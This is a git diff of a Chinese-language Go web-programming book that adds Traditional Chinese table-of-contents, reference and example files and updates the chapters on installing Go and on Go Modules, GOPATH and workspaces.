000000000..94935e27a Binary files /dev/null and b/zh-tw/images/navi10.png differ diff --git a/zh-tw/images/navi11.png b/zh-tw/images/navi11.png new file mode 100644 index 000000000..8eb93cb1f Binary files /dev/null and b/zh-tw/images/navi11.png differ diff --git a/zh-tw/images/navi12.png b/zh-tw/images/navi12.png new file mode 100644 index 000000000..5bdbadfa7 Binary files /dev/null and b/zh-tw/images/navi12.png differ diff --git a/zh-tw/images/navi13.png b/zh-tw/images/navi13.png new file mode 100644 index 000000000..c797033b1 Binary files /dev/null and b/zh-tw/images/navi13.png differ diff --git a/zh-tw/images/navi14.png b/zh-tw/images/navi14.png new file mode 100644 index 000000000..3d9d38cc5 Binary files /dev/null and b/zh-tw/images/navi14.png differ diff --git a/zh-tw/images/navi2.png b/zh-tw/images/navi2.png new file mode 100644 index 000000000..d18526ac5 Binary files /dev/null and b/zh-tw/images/navi2.png differ diff --git a/zh-tw/images/navi3.png b/zh-tw/images/navi3.png new file mode 100644 index 000000000..23495893d Binary files /dev/null and b/zh-tw/images/navi3.png differ diff --git a/zh-tw/images/navi4.png b/zh-tw/images/navi4.png new file mode 100644 index 000000000..1b4df73a5 Binary files /dev/null and b/zh-tw/images/navi4.png differ diff --git a/zh-tw/images/navi5.png b/zh-tw/images/navi5.png new file mode 100644 index 000000000..55788152c Binary files /dev/null and b/zh-tw/images/navi5.png differ diff --git a/zh-tw/images/navi6.png b/zh-tw/images/navi6.png new file mode 100644 index 000000000..74cab8172 Binary files /dev/null and b/zh-tw/images/navi6.png differ diff --git a/zh-tw/images/navi7.png b/zh-tw/images/navi7.png new file mode 100644 index 000000000..2e1c974e7 Binary files /dev/null and b/zh-tw/images/navi7.png differ diff --git a/zh-tw/images/navi8.png b/zh-tw/images/navi8.png new file mode 100644 index 000000000..7a52d84ea Binary files /dev/null and b/zh-tw/images/navi8.png differ diff --git a/zh-tw/images/navi9.png b/zh-tw/images/navi9.png new file mode 100644 index 000000000..7692e1137 Binary files /dev/null and b/zh-tw/images/navi9.png differ diff --git a/zh-tw/images/polling.png b/zh-tw/images/polling.png new file mode 100644 index 000000000..8bd128ec7 Binary files /dev/null and b/zh-tw/images/polling.png differ diff --git a/zh-tw/preface.md b/zh-tw/preface.md new file mode 100644 index 000000000..d1c16e5f4 --- /dev/null +++ b/zh-tw/preface.md @@ -0,0 +1,96 @@ +* 1.[Go 環境配置](01.0.md) + - 1.1. [安裝 Go](01.1.md) + - 1.2. [GOPATH 與工作空間](01.2.md) + - 1.3. [Go 命令](01.3.md) + - 1.4. [Go 開發工具](01.4.md) + - 1.5. [小結](01.5.md) +* 2.[Go 語言基礎](02.0.md) + - 2.1. [你好,Go](02.1.md) + - 2.2. [Go 基礎](02.2.md) + - 2.3. [流程和函式](02.3.md) + - 2.4. [struct](02.4.md) + - 2.5. [物件導向](02.5.md) + - 2.6. [interface](02.6.md) + - 2.7. [併發](02.7.md) + - 2.8. [小結](02.8.md) +* 3.[Web 基礎](03.0.md) + - 3.1 [web 工作方式](03.1.md) + - 3.2 [Go 建立一個簡單的 web 服務](03.2.md) + - 3.3 [Go 如何使得 web 工作](03.3.md) + - 3.4 [Go 的 http 套件詳解](03.4.md) + - 3.5 [小結](03.5.md) +* 4.[表單](04.0.md) + - 4.1 [處理表單的輸入](04.1.md) + - 4.2 [驗證表單的輸入](04.2.md) + - 4.3 [預防跨站指令碼](04.3.md) + - 4.4 [防止多次提交表單](04.4.md) + - 4.5 [處理檔案上傳](04.5.md) + - 4.6 [小結](04.6.md) +* 5.[訪問資料庫](05.0.md) + - 5.1 [database/sql 介面](05.1.md) + - 5.2 [使用 MySQL 資料庫](05.2.md) + - 5.3 [使用 SQLite 資料庫](05.3.md) + - 5.4 [使用 PostgreSQL 資料庫](05.4.md) + - 5.5 [使用 Beego orm 函式庫進行 ORM 開發](05.5.md) + - 5.6 [NOSQL 資料庫操作](05.6.md) + - 5.7 [小結](05.7.md) +* 6.[session 和資料儲存](06.0.md) + - 6.1 [session 和 cookie](06.1.md) + - 6.2 [Go 如何使用 session](06.2.md) + - 6.3 [session 儲存](06.3.md) + - 6.4 [預防 session 劫持](06.4.md) + - 6.5 [小結](06.5.md) +* 7.[文字檔案處理](07.0.md) + - 7.1 [XML 處理](07.1.md) + - 7.2 [JSON 處理](07.2.md) + - 7.3 [正則處理](07.3.md) + - 7.4 [範本處理](07.4.md) + - 7.5 [檔案操作](07.5.md) + - 7.6 [字串處理](07.6.md) + - 7.7 [小結](07.7.md) +* 8.[Web 服務](08.0.md) + - 8.1 [Socket 程式設計](08.1.md) + - 8.2 [WebSocket](08.2.md) + - 8.3 [REST](08.3.md) + - 8.4 [RPC](08.4.md) + - 8.5 [小結](08.5.md) +* 9.[安全與加密](09.0.md) + - 9.1 [預防 CSRF 攻擊](09.1.md) + - 9.2 [確保輸入過濾](09.2.md) + - 9.3 [避免 XSS 攻擊](09.3.md) + - 9.4 [避免 SQL 注入](09.4.md) + - 9.5 [儲存密碼](09.5.md) + - 9.6 [加密和解密資料](09.6.md) + - 9.7 [小結](09.7.md) +* 10.[國際化和本地化](10.0.md) + - 10.1 [設定預設地區](10.1.md) + - 10.2 [本地化資源](10.2.md) + - 10.3 [國際化站點](10.3.md) + - 10.4 [小結](10.4.md) +* 11.[錯誤處理,除錯和測試](11.0.md) + - 11.1 [錯誤處理](11.1.md) + - 11.2 [使用 GDB 除錯](11.2.md) + - 11.3 [Go 怎麼寫測試案例](11.3.md) + - 11.4 [小結](11.4.md) +* 12.[部署與維護](12.0.md) + - 12.1 [應用日誌](12.1.md) + - 12.2 [網站錯誤處理](12.2.md) + - 12.3 [應用部署](12.3.md) + - 12.4 [備份和還原](12.4.md) + - 12.5 [小結](12.5.md) +* 13.[如何設計一個 Web 框架](13.0.md)  + - 13.1 [專案規劃](13.1.md)  + - 13.2 [自訂路由器設計](13.2.md) + - 13.3 [controller 設計](13.3.md) + - 13.4 [日誌和配置設計](13.4.md) + - 13.5 [實現部落格的增刪改](13.5.md) + - 13.6 [小結](13.6.md)  +* 14.[擴充套件 Web 框架](14.0.md) + - 14.1 [靜態檔案支援](14.1.md) + - 14.2 [Session 支援](14.2.md) + - 14.3 [表單支援](14.3.md) + - 14.4 [使用者認證](14.4.md) + - 14.5 [多語言支援](14.5.md) + - 14.6 [pprof 支援](14.6.md) + - 14.7 [小結](14.7.md) +* 附錄 A [參考資料](ref.md) \ No newline at end of file diff --git a/zh-tw/ref.md b/zh-tw/ref.md new file mode 100644 index 000000000..8a27610e1 --- /dev/null +++ b/zh-tw/ref.md @@ -0,0 +1,15 @@ +# 附錄 A 參考資料 + +這本書的內容基本上是我學習 Go 過程以及以前從事 Web 開發過程中的一些經驗總結,裡面部分內容參考了很多站點的內容,感謝這些站點的內容讓我能夠總結出來這本書,參考資料如下: + +1. [golang blog](http://blog.golang.org) +2. [Russ Cox blog](http://research.swtch.com/) +3. [go book](http://go-book.appsp0t.com/) +4. [golangtutorials](http://golangtutorials.blogspot.com) +5. [軒脈刃 de 刀光劍影](http://www.cnblogs.com/yjf512/) +6. [Go 官網文件](http://golang.org/doc/) +7. [Network programming with Go](http://jan.newmarch.name/go/) +8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) +9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) +10. [Network programming with Go](http://jan.newmarch.name/go) +11. [RESTful](http://www.ruanyifeng.com/blog/2011/09/restful.html) diff --git a/zh-tw/src/1.2/main.go b/zh-tw/src/1.2/main.go new file mode 100644 index 000000000..91ad5d624 --- /dev/null +++ b/zh-tw/src/1.2/main.go @@ -0,0 +1,13 @@ +// 章節 1.2 +// $GOPATH/src/mathapp/main.go + +package main + +import ( + "fmt" + "mymath" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} diff --git a/zh-tw/src/1.2/sqrt.go b/zh-tw/src/1.2/sqrt.go new file mode 100644 index 000000000..af9c8b3d9 --- /dev/null +++ b/zh-tw/src/1.2/sqrt.go @@ -0,0 +1,11 @@ +// 章節 1.2 +// $GOPATH/src/mymath/sqrt.go +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} diff --git a/zh/01.1.md b/zh/01.1.md index 43bf5273f..4a7e9f6f1 100644 --- a/zh/01.1.md +++ b/zh/01.1.md @@ -3,63 +3,24 @@ ## Go的三种安装方式 Go有多种安装方式,你可以选择自己喜欢的。这里我们介绍三种最常见的安装方式: +- Go标准包安装:Go提供了方便的安装包,支持Windows、Linux、Mac等系统。这种方式适合快速安装,可根据自己的系统位数下载好相应的安装包,一路 next 就可以轻松安装了。**推荐这种方式** +- 第三方工具安装:目前有很多方便的第三方软件包工具,例如 Ubuntu 的 apt-ge t和 wget、Mac 的 homebrew 等。这种安装方式适合那些熟悉相应系统的用户。 - Go源码安装:这是一种标准的软件安装方式。对于经常使用Unix类系统的用户,尤其对于开发者来说,从源码安装可以自己定制。 -- Go标准包安装:Go提供了方便的安装包,支持Windows、Linux、Mac等系统。这种方式适合快速安装,可根据自己的系统位数下载好相应的安装包,一路next就可以轻松安装了。**推荐这种方式** -- 第三方工具安装:目前有很多方便的第三方软件包工具,例如Ubuntu的apt-get和wget、Mac的homebrew等。这种安装方式适合那些熟悉相应系统的用户。 最后,如果你想在同一个系统中安装多个版本的Go,你可以参考第三方工具[GVM](https://github.com/moovweb/gvm),这是目前在这方面做得最好的工具,除非你知道怎么处理。 -## Go源码安装 -Go 1.5彻底移除C代码,Runtime、Compiler、Linker均由Go编写,实现自举。只需要安装了上一个版本,即可从源码安装。 - -在Go 1.5前,Go的源代码中,有些部分是用Plan 9 C和AT&T汇编写的,因此假如你要想从源码安装,就必须安装C的编译工具。 - -在Mac系统中,只要你安装了Xcode,就已经包含了相应的编译工具。 - -在类Unix系统中,需要安装gcc等工具。例如Ubuntu系统可通过在终端中执行`sudo apt-get install gcc libc6-dev`来安装编译工具。 - -在Windows系统中,你需要安装MinGW,然后通过MinGW安装gcc,并设置相应的环境变量。 - -你可以直接去官网[下载源码](http://golang.org/dl/),找相应的`goVERSION.src.tar.gz`的文件下载,下载之后解压缩到`$HOME`目录,执行如下代码: - - cd go/src - ./all.bash - -运行all.bash后出现"ALL TESTS PASSED"字样时才算安装成功。 - -上面是Unix风格的命令,Windows下的安装方式类似,只不过是运行`all.bat`,调用的编译器是MinGW的gcc。 - -如果是Mac或者Unix用户需要设置几个环境变量,如果想重启之后也能生效的话把下面的命令写到`.bashrc`或者`.zshrc`里面, - - export GOPATH=$HOME/gopath - export PATH=$PATH:$HOME/go/bin:$GOPATH/bin - -如果你是写入文件的,记得执行`bash .bashrc`或者`bash .zshrc`使得设置立马生效。 - -如果是window系统,就需要设置环境变量,在path里面增加相应的go所在的目录,设置gopath变量。 - -当你设置完毕之后在命令行里面输入`go`,看到如下图片即说明你已经安装成功 - -![](images/1.1.mac.png?raw=true) - -图1.1 源码安装之后执行Go命令的图 - -如果出现Go的Usage信息,那么说明Go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了Go的安装目录。 - -从go 1.8开始,GOPATH环境变量现在有一个默认值,如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。 -> 关于上面的GOPATH将在下面小节详细讲解 ## Go标准包安装 -Go提供了每个平台打好包的一键安装,这些包默认会安装到如下目录:/usr/local/go (Windows系统:c:\Go),当然你可以改变他们的安装位置,但是改变之后你必须在你的环境变量中设置如下信息: +Go 提供了每个平台打好包的一键安装,这些包默认会安装到如下目录:/usr/local/go (Windows系统:c:\Go),当然你可以改变他们的安装位置,但是改变之后你必须在你的环境变量中设置如下信息: export GOROOT=$HOME/go - export GOPATH=$HOME/gopath + export GOPATH=$HOME/gopath (可选配置) export PATH=$PATH:$GOROOT/bin:$GOPATH/bin 上面这些命令对于Mac和Unix用户来说最好是写入`.bashrc`或者`.zshrc`文件,对于windows用户来说当然是写入环境变量。 -### 如何判断自己的操作系统是32位还是64位? +### 如何判断自己的操作系统是32位还是64位?(建议直接跳过, 现在操作系统一般都是 64位) 我们接下来的Go安装需要判断操作系统的位数,所以这小节我们先确定自己的系统类型。 @@ -70,16 +31,15 @@ Mac系统用户建议直接使用64位的,因为Go所支持的Mac OS X版本 Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查看系统信息: 64位系统显示 - x86_64 32位系统显示 - i386 ### Mac 安装 -访问[下载地址][downlink],32位系统下载go1.4.2.darwin-386-osx10.8.pkg(更新的版本已无32位下载),64位系统下载go1.8.1.darwin-amd64.pkg,双击下载文件,一路默认安装点击下一步,这个时候go已经安装到你的系统中,默认已经在PATH中增加了相应的`~/go/bin`,这个时候打开终端,输入`go` +访问[下载地址][downlink],64位系统下载 go1.14.7.darwin-amd64.pkg,双击下载文件,一路默认安装点击下一步,这个时候go已经安装到你的系统中,默认已经在PATH中增加了相应的`~/go/bin`, 这个时候打开终端,输入`go` +32位系统下载go1.4.2.darwin-386-osx10.8.pkg( 新的版本已无32位下载 ) 看到类似上面源码安装成功的图片说明已经安装成功 @@ -87,11 +47,13 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查 ### Linux 安装 -访问[下载地址][downlink],32位系统下载go1.8.1.linux-386.tar.gz,64位系统下载go1.8.1.linux-amd64.tar.gz, +访问[下载地址][downlink],64位系统下载go1.14.7.linux-amd64.tar.gz,32位系统下载go1.14.7.linux-386.tar.gz, -假定你想要安装Go的目录为 `$GO_INSTALL_DIR`,后面替换为相应的目录路径。 +直接使用 `tar -C /usr/local -xzf go1.4.7.linux-amd64.tar.gz` 解压到 local 目录 +设置PATH,`export PATH=$PATH:/usr/local/go/bin` -解压缩`tar.gz`包到安装目录下:`tar zxvf go1.8.1.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。 +假定你想要安装Go的目录为 `$GO_INSTALL_DIR`,后面替换为相应的目录路径。 +解压缩`tar.gz`包到安装目录下:`tar zxvf go1.14.7.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。 设置PATH,`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` @@ -105,7 +67,7 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查 ### Windows 安装 ### -访问[Golang 下载页][downlink],32 位请选择名称中包含 windows-386 的 msi 安装包,64 位请选择名称中包含 windows-amd64 的。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT,值为 Go 安装根目录 `C:\Go\` 。 +访问[Golang 下载页][downlink],64 位请选择名称中包含 windows-amd64 的, 32 位请选择名称中包含 windows-386 的 msi 安装包。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT,值为 Go 安装根目录 `C:\Go\` 。 **验证是否安装成功** @@ -113,6 +75,7 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查 不能的话请检查上述环境变量 Path 和 GOROOT 的值。若不存在请卸载后重新安装,存在请重启计算机后重试以上步骤。 + ## 第三方工具安装 ### GVM @@ -120,16 +83,16 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查 gvm是第三方开发的Go多版本管理工具,类似ruby里面的rvm工具。使用起来相当的方便,安装gvm使用如下命令: ```sh - bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) +bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) ``` 安装完成后我们就可以安装go了: ```sh - gvm install go1.8.1 - gvm use go1.8.1 +gvm install go1.14.7 +gvm use go1.14.7 ``` 也可以使用下面的命令,省去每次调用gvm use的麻烦: - gvm use go1.8.1 --default + gvm use go1.14.7 --default 执行完上面的命令之后GOPATH、GOROOT等环境变量会自动设置好,这样就可以直接使用了。 @@ -137,16 +100,18 @@ gvm是第三方开发的Go多版本管理工具,类似ruby里面的rvm工具 Ubuntu是目前使用最多的Linux桌面系统,使用`apt-get`命令来管理软件包,我们可以通过下面的命令来安装Go,为了以后方便,应该把 `git` `mercurial` 也安装上: ```sh - sudo apt-get install python-software-properties - sudo add-apt-repository ppa:gophers/go - sudo apt-get update - sudo apt-get install golang-stable git-core mercurial +sudo apt-get install python-software-properties +sudo add-apt-repository ppa:gophers/go +sudo apt-get update +sudo apt-get install golang-stable git-core mercurial ``` ### wget ```sh -wget https://storage.googleapis.com/golang/go1.8.1.linux-amd64.tar.gz -sudo tar -xzf go1.8.1.linux-amd64.tar.gz -C /usr/local +wget https://storage.googleapis.com/golang/go1.14.7.linux-amd64.tar.gz +或 wget https://dl.google.com/go/go1.14.7.linux-amd64.tar.gz + +sudo tar -xzf go1.14.7.linux-amd64.tar.gz -C /usr/local ``` 配置环境变量: @@ -186,15 +151,57 @@ homebrew是Mac系统下面目前使用最多的管理软件的工具,目前已 ```sh - brew update && brew upgrade - brew install go - brew install git - brew install mercurial //可选安装 +brew update && brew upgrade +brew install go +brew install git +brew install mercurial // 可选安装 ``` +## Go源码安装 +Go 1.5彻底移除 C 代码,Runtime、Compiler、Linker均由Go编写,实现自举。只需要安装了上一个版本,即可从源码安装。 + +在Go 1.5前,Go的源代码中,有些部分是用Plan 9 C和AT&T汇编写的,因此假如你要想从源码安装,就必须安装C的编译工具。 + +在Mac系统中,只要你安装了Xcode,就已经包含了相应的编译工具。 + +在类Unix系统中,需要安装gcc等工具。例如Ubuntu系统可通过在终端中执行`sudo apt-get install gcc libc6-dev`来安装编译工具。 + +在 Windows 系统中,你需要安装 MinGW,然后通过 MinGW 安装 gcc,并设置相应的环境变量。 + +你可以直接去官网[下载源码](http://golang.org/dl/),找相应的`goVERSION.src.tar.gz`的文件下载,下载之后解压缩到`$HOME`目录,执行如下代码: + + cd go/src + ./all.bash + +运行all.bash后出现"ALL TESTS PASSED"字样时才算安装成功。 + +上面是Unix风格的命令,Windows下的安装方式类似,只不过是运行`all.bat`,调用的编译器是MinGW的gcc。 + +如果是Mac或者Unix用户需要设置几个环境变量,如果想重启之后也能生效的话把下面的命令写到`.bashrc`或者`.zshrc`里面, + + export GOPATH=$HOME/gopath + export PATH=$PATH:$HOME/go/bin:$GOPATH/bin + +如果你是写入文件的,记得执行`bash .bashrc`或者`bash .zshrc`使得设置立马生效。 + +如果是window系统,就需要设置环境变量,在path里面增加相应的go所在的目录,设置gopath变量。 + +当你设置完毕之后在命令行里面输入`go`,看到如下图片即说明你已经安装成功 + +![](images/1.1.mac.png?raw=true) + +图1.1 源码安装之后执行Go命令的图 + +如果出现Go的Usage信息,那么说明Go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了Go的安装目录。 + +从go 1.8开始,GOPATH 环境变量现在有一个默认值,如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。 +从 Go1.11 开始, Go 官方加入了 Go Module 支持. +> 关于上面的 GO Module 和 GOPATH 将在下面小节详细讲解 + + ## links * [目录]() * 上一节: [Go环境配置](<01.0.md>) - * 下一节: [GOPATH 与工作空间](<01.2.md>) + * 下一节: [Go Module, GOPATH 与工作空间](<01.2.md>) [downlink]:http://golang.org/dl/ "Go安装包下载" diff --git a/zh/01.2.md b/zh/01.2.md index abe528bf6..c385cb36d 100644 --- a/zh/01.2.md +++ b/zh/01.2.md @@ -1,181 +1,256 @@ -# 1.2 GOPATH与工作空间 - -前面我们在安装Go的时候看到需要设置GOPATH变量,Go从1.1版本到1.7必须设置这个变量,而且不能和Go的安装目录一样,这个目录用来存放Go源码,Go的可运行文件,以及相应的编译之后的包文件。所以这个目录下面有三个子目录:src、bin、pkg - -从go 1.8开始,GOPATH环境变量现在有一个默认值,如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。 -## GOPATH设置 - go 命令依赖一个重要的环境变量:$GOPATH - - Windows系统中环境变量的形式为`%GOPATH%`,本书主要使用Unix形式,Windows用户请自行替换。 - - *(注:这个不是Go安装目录。下面以笔者的工作目录为示例,如果你想不一样请把GOPATH替换成你的工作目录。)* - - 在类似 Unix 环境大概这样设置: -```sh -export GOPATH=/home/apple/mygo -``` - 为了方便,应该新建以上文件夹,并且上一行加入到 `.bashrc` 或者 `.zshrc` 或者自己的 `sh` 的配置文件中。 - - Windows 设置如下,新建一个环境变量名称叫做GOPATH: -```sh - GOPATH=c:\mygo -``` -GOPATH允许多个目录,当有多个目录时,请注意分隔符,多个目录的时候Windows是分号,Linux系统是冒号,当有多个GOPATH时,默认会将go get的内容放在第一个目录下。 - - -以上 $GOPATH 目录约定有三个子目录: - -- src 存放源代码(比如:.go .c .h .s等) -- pkg 编译后生成的文件(比如:.a) -- bin 编译后生成的可执行文件(为了方便,可以把此目录加入到 $PATH 变量中,如果有多个gopath,那么使用`${GOPATH//://bin:}/bin`添加所有的bin目录) - -以后我所有的例子都是以mygo作为我的gopath目录 - - -## 代码目录结构规划 -GOPATH下的src目录就是接下来开发程序的主要目录,所有的源码都是放在这个目录下面,那么一般我们的做法就是一个目录一个项目,例如: $GOPATH/src/mymath 表示mymath这个应用包或者可执行应用,这个根据package是main还是其他来决定,main的话就是可执行应用,其他的话就是应用包,这个会在后续详细介绍package。 - - -所以当新建应用或者一个代码包时都是在src目录下新建一个文件夹,文件夹名称一般是代码包名称,当然也允许多级目录,例如在src下面新建了目录$GOPATH/src/github.com/astaxie/beedb 那么这个包路径就是"github.com/astaxie/beedb",包名称是最后一个目录beedb - -下面我就以mymath为例来讲述如何编写应用包,执行如下代码 -```sh -cd $GOPATH/src -mkdir mymath -``` - -新建文件sqrt.go,内容如下 -```go -// $GOPATH/src/mymath/sqrt.go源码如下: -package mymath - -func Sqrt(x float64) float64 { - z := 0.0 - for i := 0; i < 1000; i++ { - z -= (z*z - x) / (2 * x) - } - return z -} -``` -这样我的应用包目录和代码已经新建完毕,注意:一般建议package的名称和目录名保持一致 - -## 编译应用 -上面我们已经建立了自己的应用包,如何进行编译安装呢?有两种方式可以进行安装 - -1、只要进入对应的应用包目录,然后执行`go install`,就可以安装了 - -2、在任意的目录执行如下代码`go install mymath` - -安装完之后,我们可以进入如下目录 -```sh -cd $GOPATH/pkg/${GOOS}_${GOARCH} -//可以看到如下文件 -mymath.a -``` -这个.a文件是应用包,那么我们如何进行调用呢? - -接下来我们新建一个应用程序来调用这个应用包 - -新建应用包mathapp -```sh -cd $GOPATH/src -mkdir mathapp -cd mathapp -vim main.go -``` - -`$GOPATH/src/mathapp/main.go`源码: -```go -package main - -import ( - "mymath" - "fmt" -) - -func main() { - fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) -} -``` - -可以看到这个的package是`main`,import里面调用的包是`mymath`,这个就是相对于`$GOPATH/src`的路径,如果是多级目录,就在import里面引入多级目录,如果你有多个GOPATH,也是一样,Go会自动在多个`$GOPATH/src`中寻找。 - -如何编译程序呢?进入该应用目录,然后执行`go build`,那么在该目录下面会生成一个mathapp的可执行文件 -```sh -./mathapp -``` - -输出如下内容 -```sh -Hello, world. Sqrt(2) = 1.414213562373095 -``` - -如何安装该应用,进入该目录执行`go install`,那么在$GOPATH/bin/下增加了一个可执行文件mathapp, 还记得前面我们把`$GOPATH/bin`加到我们的PATH里面了,这样可以在命令行输入如下命令就可以执行 - -```sh -mathapp -``` - -也是输出如下内容 - - Hello, world. Sqrt(2) = 1.414213562373095 - -这里我们展示如何编译和安装一个可运行的应用,以及如何设计我们的目录结构。 - -## 获取远程包 - go语言有一个获取远程包的工具就是`go get`,目前go get支持多数开源社区(例如:github、googlecode、bitbucket、Launchpad) - - go get github.com/astaxie/beedb - ->go get -u 参数可以自动更新包,而且当go get的时候会自动获取该包依赖的其他第三方包 - -通过这个命令可以获取相应的源码,对应的开源平台采用不同的源码控制工具,例如github采用git、googlecode采用hg,所以要想获取这些源码,必须先安装相应的源码控制工具 - -通过上面获取的代码在我们本地的源码相应的代码结构如下 - - $GOPATH - src - |--github.com - |-astaxie - |-beedb - pkg - |--相应平台 - |-github.com - |--astaxie - |beedb.a - -go get本质上可以理解为首先第一步是通过源码工具clone代码到src下面,然后执行`go install` - -在代码中如何使用远程包,很简单的就是和使用本地包一样,只要在开头import相应的路径就可以 - - import "github.com/astaxie/beedb" - -## 程序的整体结构 -通过上面建立的我本地的mygo的目录结构如下所示 - - bin/ - mathapp - pkg/ - 平台名/ 如:darwin_amd64、linux_amd64 - mymath.a - github.com/ - astaxie/ - beedb.a - src/ - mathapp - main.go - mymath/ - sqrt.go - github.com/ - astaxie/ - beedb/ - beedb.go - util.go - -从上面的结构我们可以很清晰的看到,bin目录下面存的是编译之后可执行的文件,pkg下面存放的是应用包,src下面保存的是应用源代码 - - -## links - * [目录]() - * 上一节: [安装Go](<01.1.md>) - * 下一节: [GO 命令](<01.3.md>) +# 1.2 Go Module, GOPATH 与工作空间 + +从 Go1.11 开始, Go 官方加入 Go Module 支持, Go1.12 成为默认支持; 从此告别源码必须放在 Gopath 中 +以及 Gopath 对初学者造成的困扰. + +## 使用 Go Module + +由于众所周知的原因, 要顺利安装 Go Module 的包, 需要先设置代理: + +公共模块代理: +```sh +export GOPROXY=https://goproxy.io // 也可以设置为 https://goproxy.cn 或者其他 +``` + +私有模块代理: +```sh +export GOPRIVATE=git.xxx.com +``` + +初始化: +``` +go mod init [module 名称] +``` + +检测和清理依赖: +``` +go mod tidy +``` + +安装指定包: +``` +go get -v github.com/go-ego/gse@v0.60.0-rc4.2 +``` + +### 更新依赖 +``` +go get -u +``` +更新指定包依赖: +``` +go get -u github.com/go-ego/gse +``` +指定版本: +``` +go get -u github/com/go-ego/gse@v0.60.0-rc4.2 +``` + +### Replace: + +使用命令行: +``` +go mod edit -replace github.com/go-ego/gse=/path/to/local/gse +go mod edit -replace github.com/go-ego/gse=github.com/vcaesar/gse +``` +也可以直接修改模块文件: + +``` +replace github.com/go-ego/gse => github.com/vcaesar/gse +``` + +## GOMODULE 常用命令: + +``` +go mod init # 初始化 go.mod +go mod tidy # 更新依赖文件 +go mod download # 下载依赖文件 + +go mod vendor # 将依赖转移至本地的 vendor 文件 +go mod edit # 手动修改依赖文件 +go mod graph # 打印依赖图 +go mod verify # 校验依赖 +``` + + +前面我们在安装 Go 的时候看到需要设置 GOPATH 变量,Go 从1.1版本到1.7必须设置这个变量,而且不能和Go的安装目录一样,这个目录用来存放Go源码,Go的可运行文件,以及相应的编译之后的包文件。所以这个目录下面有三个子目录:src、bin、pkg + +从go 1.8开始,GOPATH 环境变量现在有一个默认值,如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。 +## GOPATH设置 + go 命令依赖一个重要的环境变量:$GOPATH + + Windows系统中环境变量的形式为`%GOPATH%`,本书主要使用Unix形式,Windows用户请自行替换。 + + *(注:这个不是Go安装目录。下面以笔者的工作目录为示例,如果你想不一样请把GOPATH替换成你的工作目录。)* + + 在类 Unix 环境下大概这样设置: +```sh +export GOPATH=/home/apple/mygo +``` + + 为了方便,应该新建以上文件夹,并且上一行加入到 `.bashrc` 或者 `.zshrc` 或者自己的 `sh` 的配置文件中。 + + Windows 设置如下,新建一个环境变量名称叫做GOPATH: +```sh +GOPATH=c:\mygo +``` +GOPATH允许多个目录,当有多个目录时,请注意分隔符,多个目录的时候Windows是分号,Linux系统是冒号,当有多个GOPATH时,默认会将go get的内容放在第一个目录下。 + + +以上 $GOPATH 目录约定有三个子目录: + +- src 存放源代码(比如:.go .c .h .s等) +- pkg 编译后生成的文件(比如:.a) +- bin 编译后生成的可执行文件(为了方便,可以把此目录加入到 $PATH 变量中,如果有多个gopath,那么使用`${GOPATH//://bin:}/bin`添加所有的bin目录) + +以后我所有的例子都是以mygo作为我的gopath目录 + + +## 代码目录结构规划 +GOPATH下的src目录就是接下来开发程序的主要目录,所有的源码都是放在这个目录下面,那么一般我们的做法就是一个目录一个项目,例如: $GOPATH/src/mymath 表示mymath这个应用包或者可执行应用,这个根据package是main还是其他来决定,main的话就是可执行应用,其他的话就是应用包,这个会在后续详细介绍package。 + + +所以当新建应用或者一个代码包时都是在src目录下新建一个文件夹,文件夹名称一般是代码包名称,当然也允许多级目录,例如在src下面新建了目录$GOPATH/src/github.com/astaxie/beedb 那么这个包路径就是"github.com/astaxie/beedb",包名称是最后一个目录beedb + +下面我就以mymath为例来讲述如何编写应用包,执行如下代码 +```sh +cd $GOPATH/src +mkdir mymath +``` + +新建文件sqrt.go,内容如下 +```go +// $GOPATH/src/mymath/sqrt.go源码如下: +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} +``` +这样我的应用包目录和代码已经新建完毕,注意:一般建议package的名称和目录名保持一致 + +## 编译应用 +上面我们已经建立了自己的应用包,如何进行编译安装呢?有两种方式可以进行安装 + +1、只要进入对应的应用包目录,然后执行`go install`,就可以安装了 + +2、在任意的目录执行如下代码`go install mymath` + +安装完之后,我们可以进入如下目录 +```sh +cd $GOPATH/pkg/${GOOS}_${GOARCH} +//可以看到如下文件 +mymath.a +``` +这个.a文件是应用包,那么我们如何进行调用呢? + +接下来我们新建一个应用程序来调用这个应用包 + +新建应用包mathapp +```sh +cd $GOPATH/src +mkdir mathapp +cd mathapp +vim main.go +``` + +`$GOPATH/src/mathapp/main.go`源码: +```go +package main + 